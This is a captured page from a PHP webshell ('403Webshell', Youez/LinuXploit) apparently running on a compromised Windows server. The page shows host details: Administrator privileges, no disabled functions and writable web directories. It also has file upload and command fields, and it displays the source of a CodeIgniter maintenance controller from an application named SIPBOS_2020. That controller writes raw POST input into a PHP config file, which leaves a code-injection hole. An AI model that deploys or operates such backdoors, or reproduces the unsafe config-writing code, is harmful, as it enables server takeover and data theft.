403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /wamp/www/SIPBOS_2020/application/modules/maintenance/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /wamp/www/SIPBOS_2020/application/modules/maintenance/controllers/maintenance_lama.php
<?php

class Maintenance extends Admin_Controller {
  var $appconfig;
  var $config_file;
  
  public function __construct()
  {
    parent::__construct();
    $this->modul_name = 'maintenance';
    $this->modul_display = 'Maintenance';
    $this->view_daftar = 'maintenance_view';
    
	$this->appconfig = 'appconfig';
    $this->appconfig_path = APPPATH.'config/';
    $this->appconfig_file = $this->appconfig_path.$this->appconfig.'.php';
	
	$this->config_file = APPPATH.'config/appconfig.php';
  }

	public function index()
	{
		$this->daftar();
	}

	public function daftar()
	{
		$this->load->config($this->appconfig, TRUE);
		$app_config 	= $this->config->item($this->appconfig);
				
		$data['breadcrumbs'] 	= 'Maintenance';
		$data['modul'] 			= $this->modul_name;
		$data['ada'] 			= isset($app_config['maintenance'])?$app_config['maintenance']:'0';

		$data['main_content'] = $this->view_daftar;
		$this->load->view('layout/template_admin',$data);
	}
  
	function cek_maintenance()
	{
		$this->load->config($this->appconfig, TRUE);
		$app_config 	= $this->config->item($this->appconfig);
		$maintenance 	= $app_config['maintenance'];
		
		return $maintenance;
	}
		
	public function cekfile()
	{
		$config_file = @file_get_contents($this->config_file);
		$patterns = "/^.*maintenance.*\$/m";
		if(preg_match_all($patterns, $config_file, $matches)){
			$config = array(
			  'maintenance' => $this->input->post('maintenance')
			);
			foreach($config as $key => $val)
			{
			  $val = '\''.$val.'\'';
			  $pattern = '%(config\[\''.$key.'\'\] = )(\'?.*\'?)(;)%';
			  $config_file = preg_replace($pattern, '${1}'.$val. '${3}', $config_file );
			}
			$ret = @file_put_contents($this->config_file, $config_file);
			if (!$ret)
			{
				$respon->isSuccess = FALSE;
				$respon->message = "Data gagal disimpan..";
			}
			else{
				if ($this->cek_maintenance()=='1') { 
					$respon->isSuccess = TRUE;
					$respon->message = "Memasuki Masa Maintenance..";
				} 	
				else{
					$respon->isSuccess = TRUE;
					$respon->message = "Masa Maintenance Telah Selesai..";
				}
			}
		}
		else{    
			$isi = '$config[\'maintenance\'] = \'0\';';
			$ket = @file_put_contents($this->config_file,$isi."\n",FILE_APPEND);
			if (!$ket)
			{
				$respon->isSuccess = FALSE;
				$respon->message = "Data gagal ditambahkan ..";
			}
			else{				
				if($this->input->post('maintenance')=='0'){
					$respon->isSuccess = TRUE;
					$respon->message = "Masa Maintenance Telah Selesai..";
				}
				else{
					$config_file = @file_get_contents($this->config_file);
					$config = array(
					  'maintenance' => $this->input->post('maintenance')
					);
					foreach($config as $key => $val)
					{
					  $val = '\''.$val.'\'';
					  $pattern = '%(config\[\''.$key.'\'\] = )(\'?.*\'?)(;)%';
					  $config_file = preg_replace($pattern, '${1}'.$val. '${3}', $config_file );
					}
					$ret = @file_put_contents($this->config_file, $config_file);	
					if (!$ret)
					{
						$respon->isSuccess = FALSE;
						$respon->message = "Data gagal disimpan..";
					}
					else{
						if ($this->cek_maintenance()=='1') { 
							$respon->isSuccess = TRUE;
							$respon->message = "Memasuki Masa Maintenance..";
						} 	
						else{
							$respon->isSuccess = TRUE;
							$respon->message = "Masa Maintenance Telah Selesai..";
						}
					}	
				}
			}
		}
		
		echo json_encode($respon); 		
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit